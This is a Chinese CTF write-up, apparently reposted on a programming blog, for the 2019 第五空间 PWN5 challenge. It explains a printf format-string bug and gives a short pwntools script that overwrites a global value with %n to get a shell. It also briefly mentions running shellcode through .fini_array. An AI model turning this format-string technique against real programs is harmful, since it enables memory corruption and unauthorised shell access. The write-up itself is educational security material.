本文主要是介绍[CTF][第五空间2019 决赛]PWN5 1,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
解题思路
反编译后的源码:
srand(__seed);// 生成随机数iVar1 = open("/dev/urandom",0);read(iVar1,&DAT_0804c044,4);printf("your name:");// 读取输入read(0,local_78,99);printf("Hello,");// 打印输入printf(local_78);printf("your passwd:");read(0,local_88,0xf);iVar1 = atoi(local_88);// 判断输入密码是否与前面的随机数相等。if (iVar1 == DAT_0804c044) {puts("ok!!");system("/bin/sh");}else {puts("fail");}
经过分析,找到突破口:printf(local_78); 该处会原样打印输入。可利用格式化输出写入或打印相关值。
知识点:
%xc%y$n
y为需要写入的地址值,x为输出长度,也是需要覆写的值。其中y一般利用栈上的数据。
那需要解决的问题如下:
如何覆写DAT_0804c044的值,使之与后续输入的密码相等。
-
DAT_0804c044的地址
DAT_0804c044为全局变量,可以直接使用该变量虚拟地址0x0804c044。 -
如何覆写
gdb调试发现,printf的时候,栈上并没有可利用的值。
经过一番实验、搜索、再实验(很痛苦漫长的过程)后,找到下述方法:
利用输入构造需要写入的地址
难点在于找到可以利用该地址的堆栈位置,寻找方法:输入AAAA%x$p, x为栈上存储输入的相对位置,一般不会太远。当输出伟AAAA0x41414141时,即为所找位置。
找到该位置后,即可编写脚本:
1 from pwn import *23 sh = process('./2019pwn5')4 sh.recvuntil('e:')5 sh.sendline(p32(0x0804c044) + b'%1c%10$n') // 10为找到的栈上相对位置6 sh.recvuntil('d:')7 sh.sendline('5') // 4个字节的地址+1个字节 = 58 sh.interactive()
附录即为寻找到的方法,文章中更进一步的,提到了利用printf执行shellcode的方法,即将shellcode写入
.fini_array段中。当然,本题不需要,但是是可以借鉴的一个点。
附录:
- printf Format String Exploitation
这篇关于[CTF][第五空间2019 决赛]PWN5 1的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!